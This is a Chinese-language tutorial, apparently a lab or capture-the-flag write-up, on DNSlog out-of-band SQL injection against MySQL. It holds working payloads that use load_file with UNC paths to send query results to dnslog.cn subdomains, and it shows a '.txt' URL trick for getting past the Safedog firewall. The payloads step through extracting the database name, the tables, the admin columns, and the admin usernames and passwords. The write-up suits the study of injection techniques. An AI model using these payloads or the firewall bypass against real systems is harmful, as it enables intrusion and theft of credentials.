DNS log 【DNS日志注入】
DNS协议:将域名转化为IP 日志 => 记录了域名转化IP请求
DNS注入的核心,将盲注转化为显错注入
DNS协议:将域名转化为IP 日志 => 记录了域名转化IP请求
比如 ox.qidao.com => DNS记录了这个请求,
那么我们也可以让mysql也能发出请求,DNS也会记录
一
select load_file(’//error.1806d1.dnslog.cn/abc’);
// 网上邻居的协议(也就是UNC协议)
error 没有实际意义,占位符而已
1806d1.dnslog.cn dns服务器名字
abc 没有实际意义,一个目录而已
二
前面我们已经说了,是用dns来把解析的数据,回显给我们。
这里就跟关键了,我们要么自己去搭建一台dns服务器,要么滑稽。
这里介绍一个网站。
dnslog.cn
1.获取一个dns服务器
2.得到的一个随机dns服务器。
三
既然得到之后,我们就来用这个DNS服务器来获取一下域名解析的数据
1.复制刚刚得到的dns服务器。前面跟你想要解析的东西,这里我就写的yq
没有什么特别的意思,得到的回显也是yq,但是把yq换成 database() 那么就会回显使用的数据库名
点击refresh 就可以得到解析的数据,前面的yq也得到了回显,这里我就写的yq
没有什么特别的意思,得到的回显也是yq,但是把yq换成 database() 那么就会回显使用的数据库名
这里解答一下为什么是三级域名,因为二级域名就是不是给你用的,懂?
实战得出当前使用数据库为:web
select load_file(concat('//',(select database() limit 0,1),'.81k8pu.dnslog.cn/abc'));
select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.81k8pu.dnslog.cn/abc'));
实战得出当前使用数据表为:post
我们直接访问txt格式的文件,就跳过了安全狗,
就访问到了php格式的文件。
那么现在就来实战一下
先提醒一下,前面的测试是在本机上测试的,所以是 select 开头,
但是实战这已经有select开头了,我们就不要自己加了
txt的名字和传参的id随便写,没有影响,这里我写的123.txt和id=123
/123.txt?id=123 and load_file(concat('//',(select database() limit 0,1),'.mvd7wy.dnslog.cn/abc')) -- qwe
可以看到访问正常,说明跳过了安全狗
跳过了安全狗后,我们再来看一下是否dns反弹成功。反弹出了数据库名。
接下来就是和显错注入一样的思路,再结合一点dns反弹就行了。
1.回显数据库
这里特别要注意一点的是,一个dns服务器如果已经记录了一个东西,你在去执行相同的东西,这个已经被记录的东西就不会再显示了,如果遇到这种情况,就马上获取一个新的dns服务器。
/123.txt?id=123 and load_file(concat('//',(select database() limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe
2.回显数据表
/123.txt?id=123 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe
楼主本来还想用这条加了group_concat(table_name)这个语句的,但是不行,不知道是因为像上面说的,已经记录了,还是不能在一行输出。
3.回显字段
因为很显然,我们拿到了admin表,那就意味着,这里面有管理员的账号密码,这正是我们想要的,所以我们就用这张表,这里暂且理解为不能用group_concat函数一行输出,那我们就用limit函数
回显第一个字段
/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe
注入图我就不截图了,直接上回显图
回显第二个字段
/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1),'.48tret.dnslog.cn/abc')) -- qwe
回显第3个字段
/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1),'.48tret.dnslog.cn/abc')) -- qwe
回显第3个字段,失败,说明admin表就3个字段
/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 3,1),'.48tret.dnslog.cn/abc')) -- qwe
3.回显字段值
这里非常明显了,username和password,就表明是账号密码
那我们就来回显试试
/123.txt?id=123 and load_file(concat('//',(select username from admin limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe
/123.txt?id=123 and load_file(concat('//',(select password from admin limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe
最后得到flag:1flag1good1